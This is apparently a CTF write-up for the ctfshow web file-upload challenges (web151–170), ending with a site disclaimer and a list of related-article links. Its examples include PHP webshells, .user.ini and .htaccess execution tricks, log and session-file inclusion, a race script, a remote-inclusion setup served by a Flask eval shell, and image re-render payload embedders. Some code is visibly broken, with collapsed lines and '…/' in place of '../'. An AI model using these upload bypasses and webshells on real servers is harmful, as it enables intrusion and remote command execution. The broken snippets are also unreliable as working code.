ctfshow web入门文件上传总结

1.web151

前端验证
前端验证，修改html代码，上传还有一句话木马的php文件,之后用蚁剑连接即可找到flag

<?php eval($_POST[1])?>

2.web152

后端验证，修改mime类型(content-type)
burp抓包，修改content-type为image/png

3.web153

.user.ini类
后端验证mime类型，只能是图片格式，不能有php后缀
.user.ini配置文件
burp抓包，上传.user.ini，此配置文件时nginx服务的配置文件，写入auto_prepend_file=2.jpg，在上传2.jpg，之后把http://d6a3715e-bc9a-4bc2-8e1e-e540b0bbaeaf.challenge.ctf.show/upload/index.php添加到蚁剑中即可读取flag，访问此链接时会自动包含2.jpg

.user.ini利用需要在此目录下还有php文件，user.ini 上传的文件  原有的php文件需要在同一目录下
.user.ini
auto_prepend_file   表示在文件头包含
auto_append_file  表示在文件尾包含

4.web154

.user.ini类+检测文件内容
后端检查文件内容 类型 不能有php，需要mime类型为图片格式，不能有php后缀
上传.user.ini 写入auto_prepend_file=2.png ，在上传2.php 写一句话木马 <? eval($_POST[1])?>,在把链接加到蚁剑即可读取flag

5.web155

.user.ini类+检测文件内容
文件内容中不能有php,图片必须是png格式，不能有php后缀

php短标签

<? echo '123';?>
<?=(表达式)?>  等价于 <?php echo (表达式)?>
<% echo '123';%>
<script language=”php”>echo '123'; </script>

6.web156

.user.ini类+检测文件内容
文件内容中不能有php,[],图片必须是png格式 ，不能有php后缀
利用的还是.user.ini,写入auto_prepend_file=2.png，在上传2.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)

7.web157

.user.ini类+检测文件内容
文件内容中不能有php,[],;, 图片必须是png格式 ，不能有php后缀
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)

8.web158

.user.ini类+检测文件内容
文件内容中不能有php,[],;,{}，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)

9.web159

.user.ini类+检测文件内容
文件内容中不能有php,[],;,{},()，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?=`tac …/f*`>，这里的短链接没=是执行不了的，访问链接就可得到flag (http://…/upload/index.php)

10.web160

日志包含配和文件上传(.user.ini)
文件内容中不能有php,[],;,{},(),空格，log，``，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?=include"/var/lo"."g/nginx/access.lo"."g"?>，访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话<?php eval($_POST[1])?>,再次访问链接 (http://…/upload/index.php)进行命令执行1=system(“tac …/f*”)?>，得到flag

11.web161

日志包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
这题注意上传直接上传图片是不行的
文件内容中不能有php,[],;,{},(),空格，log，``，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入 GIF89a <?=include"/var/lo"."g/nginx/access.lo"."g"?>，访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话<?php eval($_POST[1])?>,再次访问链接 (http://…/upload/index.php)进行命令执行1=system(“tac …/f*”)?>，得到flag

12.web162

session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
过滤了点，日志包含没法用了，采用session文件包含
和上题相比过滤了点，日志包含就用不了了，这里采用的是session包含
先上传png,写入GIF89a<?=include"/tmp/sess_1"?>,在上传.user.ini，写入GIF89a
auto_prepend_file=png

import requests
import threading
session=requests.session()
sess='1'    #和png后面要包含文件的对应 
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={'file':'1'  #无所谓
}
cookies={'PHPSESSID': sess
}def write():while True:r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():while True:r = session.get(url2)if 'flag' in r.text:print(r.text)threads = [threading.Thread(target=write),threading.Thread(target=read)]
for t in threads:t.start()
]

13.web163

session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
远程文件包含和文件上传(.user.ini) 检测文件头 绕过getimagesize
第二种方法也适用与上一题
1.和上题一样
session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
过滤了点，日志包含没法用了，采用session文件包含
和上题相比过滤了点，日志包含就用不了了，这里采用的是session包含
先上传png,写入GIF89a<?=include"/tmp/sess_1"?>,在上传.user.ini，写入GIF89a
auto_prepend_file=png
2.
可以使用远程文件包含，上传.user.ini,需要把ip转换为数字，注意远程web服务器需要为路由型，这里使用python的flask框架，之后在进行命令执行即可
或者传.user.ini和png分别写入以下内容，这题不行，在上传的一瞬间png文件被删除了
.user.ini
GIF89a
auto_prepend_file=png

png
GIF89a

<?=include"http://10200352//"?> 
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():return '<?php @eval($_POST[1]);?>'
if __name__ == '__main__':app.run(port=80,host='0.0.0.0')

14.web164

考察png二次渲染

png渲染脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>*/?>

15.web165

考察jpg二次渲染
照片选择这张成功率会高很多
请添加图片描述

先把这张照片上传到服务器上，在把服务器上已经渲染好的照片下载下来，使用下载下来的照片使用下方的jpg渲染脚本插入php代码

jpg渲染脚本（特别注意需要在linux环境下运行此脚本，windows运行无法渲染成功)
`

<?php
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');
}
if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp =substr($outStream, 0, $startPos) .$miniPayload .str_repeat("\0",$nullbytePayloadSize) .substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream =substr($outStream, 0, $startPos) .$miniPayload .substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) .substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}
}
class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip){$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}
}
?>

16.web166

考察zip文件上传

17.web167

考察apache配置文件.htaccess

<FilesMatch "\.jpg">SetHandler application/x-httpd-php
</FilesMatch>

上传一张图片马即可

18.web168

基础免杀，过滤post,get,eval等

<?php $_REQUEST[1]($_REQUEST[2])?>

19.web169

考察nginx服务器的配置文件.user.ini日志文件包含
服务器是nignx，上传.user.ini来进行日志包含
进行包含时要注意在上传文件的目录中需要有index.php文件，因为没有index.php文件，所以先上传一个index.php文件，里面随便写就可以
.user.ini

auto_append_file=/var/log/nginx/access.log```

访问上传的文件位置，在user-agent写入一句话木马
post传入1=system(“tac …/flagaa.php”); 执行即可

20.web170

考察nginx服务器的配置文件.user.ini日志文件包含
服务器是nignx，上传.user.ini来进行日志包含
进行包含时要注意在上传文件的目录中需要有index.php文件，因为没有index.php文件，所以先上传一个index.php文件，里面随便写就可以
.user.ini

auto_append_file=/var/log/nginx/access.log```

访问上传的文件位置，在user-agent写入一句话木马
post传入1=system(“tac …/flagaa.php”); 执行即可

var code = “ebb7a1ab-dbdd-468b-be74-dbc47c11310d”

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.xdnf.cn/news/513.html

如若内容造成侵权/违法违规/事实不符，请联系一条长河网进行投诉反馈，一经查实，立即删除！

相关文章

18.04Ubuntu网络一直connecting的问题

18.04Ubuntu网络一直connecting的问题

有段时间没登VMware的Ubuntu了&#xff0c;就知道这个Ubuntu一登必有问题。 如果你的网络一直connecting 设置成桥接模式就可以了&#xff01;
阅读更多...
用Python设置、更新和获取Excel单元格的值

用Python设置、更新和获取Excel单元格的值

Excel工作簿作为一款广泛使用的数据管理工具&#xff0c;与Python相结合&#xff0c;可以使得自动化处理大量数据成为可能。通过Python来设置、更新以及读取Excel单元格的值&#xff0c;不仅可以极大地提高工作效率&#xff0c;减少重复劳动&#xff0c;还能增强数据处理流程的…
阅读更多...
从零开始的 vue项目部署到服务器详细步骤（vue项目build打包+nginx部署+配置ssl证书）

从零开始的 vue项目部署到服务器详细步骤（vue项目build打包+nginx部署+配置ssl证书）

从零开始的 vue项目部署到服务器详细步骤&#xff08;vue项目build打包nginx部署配置ssl证书&#xff09; 文章目录 从零开始的 vue项目部署到服务器详细步骤&#xff08;vue项目build打包nginx部署配置ssl证书&#xff09;一、前言二、vue项目部署前配置1、vite.config.js 增加…
阅读更多...
HarmonyOS 私仓搭建

HarmonyOS 私仓搭建

1. HarmonyOS 私仓搭建 私仓搭建文档&#xff1a;https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V5/ide-ohpm-repo-quickstart-V5   发布共享包[https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V5/ide-har-publish-0000001597973129-V5]…
阅读更多...
三项智能网联汽车强制性国家标准正式发布（附图解）

三项智能网联汽车强制性国家标准正式发布（附图解）

近日&#xff0c;工业和信息化部组织制定的GB 44495—2024《汽车整车信息安全技术要求》、GB 44496—2024《汽车软件升级通用技术要求》和GB 44497—2024《智能网联汽车 自动驾驶数据记录系统》三项强制性国家标准由国家市场监督管理总局、国家标准化管理委员会批准发布&#x…
阅读更多...
达梦检查工具dmdbchk的性能

达梦检查工具dmdbchk的性能

摘要&#xff1a; 本文介绍了dmdbchk的基础使用&#xff0c;例如检查信号量&#xff0c;其性能大约是10GB/分钟&#xff0c;新版本的会更快。 当数据库出问题时&#xff0c;可能会考虑用dmdbchk工具检查数据文件和库内部是否出现异常。对于450G的库会耗时多久&#xff1f; 答&…
阅读更多...
transformControls THREE.Object3D.add: object not an instance of THREE.Object3D.

transformControls THREE.Object3D.add: object not an instance of THREE.Object3D.

把scene.add(transformControls);改为scene.add(transformControls.getHelper());
阅读更多...
思科--交换网络综合实验

思科--交换网络综合实验

前言 之前一直在学华为ENSP的命令&#xff0c;最近来了个实验&#xff08;被坑了&#xff09;&#xff0c;要求是用思科完成。没法子&#xff0c;就弄呗 拓扑图 实验目标 首先配置以太通道&#xff08;逻辑上的&#xff09;实现链路冗余和负载共享 在交换机接口配置trunk&#…
阅读更多...
YOLOv11模型架构以及使用命令介绍

YOLOv11模型架构以及使用命令介绍

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推荐------》 一、AI应用软件开发实战专栏【链接】 项目名称项目名称1.【人脸识别与管理系统开发…
阅读更多...
使用 PyCharm 构建 FastAPI 项目：零基础入门 Web API 开发

使用 PyCharm 构建 FastAPI 项目：零基础入门 Web API 开发

使用 PyCharm 构建 FastAPI 项目&#xff1a;零基础入门 Web API 开发 本文提供了一份完整的 FastAPI 入门指南&#xff0c;涵盖从环境搭建、依赖安装到创建并运行一个简单的 FastAPI 应用的各个步骤。通过 FastAPI 和 Uvicorn&#xff0c;开发者可以快速构建现代化的 Web API…
阅读更多...
正向解析和反向解析

正向解析和反向解析

正向解析 服务端&#xff1a; [rootlocalhost rhel]# vim /etc/named.conf [rootlocalhost named]# vim /var/named/named.openlab.com 客户端&#xff1a; [rootlocalhost rhel]# nslookup 反向解析 服务端&#xff1a; [rootlocalhost rhel]# vim /etc/named.conf [ro…
阅读更多...
openGauss数据库-头歌实验1-3 创建和管理模式

openGauss数据库-头歌实验1-3 创建和管理模式

一、创建和使用模式 &#xff08;一&#xff09;任务描述 本关任务&#xff1a;基于 openGauss 学习创建模式的相关知识。 &#xff08;二&#xff09;相关知识 为了完成本关任务&#xff0c;你需要掌握&#xff1a;1.openGauss 的常用操作&#xff0c;2.SQL 创建模式相关语…
阅读更多...
鸿蒙进阶篇-Scroll、Tabs、Badge

鸿蒙进阶篇-Scroll、Tabs、Badge

“在科技的浪潮中&#xff0c;鸿蒙操作系统宛如一颗璀璨的新星&#xff0c;引领着创新的方向。作为鸿蒙开天组&#xff0c;今天我们将一同踏上鸿蒙基础的探索之旅&#xff0c;为您揭开这一神奇系统的神秘面纱。” 各位小伙伴们我们又见面了,我就是鸿蒙开天组,下面让我们进入今…
阅读更多...
多厂商的实现不同vlan间通信

多厂商的实现不同vlan间通信

Cisco单臂路由 Cisco路由器配置 -交换机配置 -pc配置 华三的单臂路由 -路由器配置 -华三的接口默认是打开的 -pc配置及ping的结果 -注意不要忘记配置默认网关 Cisco-SVI -交换机的配置 -创建vlan -> 设置物理接口对应的Acess或Trunk -> 进入vlan接口&#xff0c;打开接…
阅读更多...
Golang--函数、包、defer、系统函数、内置函数

Golang--函数、包、defer、系统函数、内置函数

1、何为函数 函数作用&#xff1a;提高代码的复用型&#xff0c;减少代码的冗余&#xff0c;提高代码的维护性 函数定义&#xff1a;为完成某一功能的程序指令(语句)的集合,称为函数。 语法&#xff1a; func 函数名(形参列表)(返回值类型列表){ //执行语句 //…… return …
阅读更多...
2024/11/3周报

2024/11/3周报

文章目录 摘要AbstractA2/O反应原理与详细流程一、反应原理二、工艺流程三、反应控制与优化模拟数据 文献阅读标题研究背景与重要性模型构建与方法论模型各部分的功能 数据收集与预处理模型训练与实验实验结果与分析模型的创新与贡献实际应用价值与未来发展方向结论 摘要 本周…
阅读更多...
一文搞定分治算法

一文搞定分治算法

分治 基础入门 搜索策略 基于分治实现二分查找 构建二叉树问题 汉诺塔问题 相关题解&#xff1a; leetcode226.翻转二叉树 法一&#xff1a;递归 leetcode101.对称二叉树 法一&#xff1a;递归 法二&#xff1a;迭代 leetcode50. Pow(x, n) 法一&#xff1a;快速幂…
阅读更多...
angular使用http实现get和post请求

angular使用http实现get和post请求

说明&#xff1a; angular使用http实现get和post请求 提示&#xff1a;在运行本项目前&#xff0c;请先导入路由router&#xff0c;可以参考我上一篇文章。 效果图&#xff1a; step1:E:\projectgood\ajsix\untitled4\package.json “angular/cdk”: “^18.2.10”, “angula…
阅读更多...
SQL，力扣题目1285，找到连续区间的开始和结束数字【窗口函数】

SQL，力扣题目1285，找到连续区间的开始和结束数字【窗口函数】

一、力扣链接 LeetCode_1285 二、题目描述 表&#xff1a;Logs ------------------------ | Column Name | Type | ------------------------ | log_id | int | ------------------------ id 是上表具有唯一值的列。 上表的每一行包含日志表中的一个 ID。编…
阅读更多...
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)

[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)

&#x1f36c; 博主介绍 &#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 _PowerShell &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 &#x1f389;点赞➕评论➕收藏 养成习…
阅读更多...
最新文章

Copyright @ 2022~2023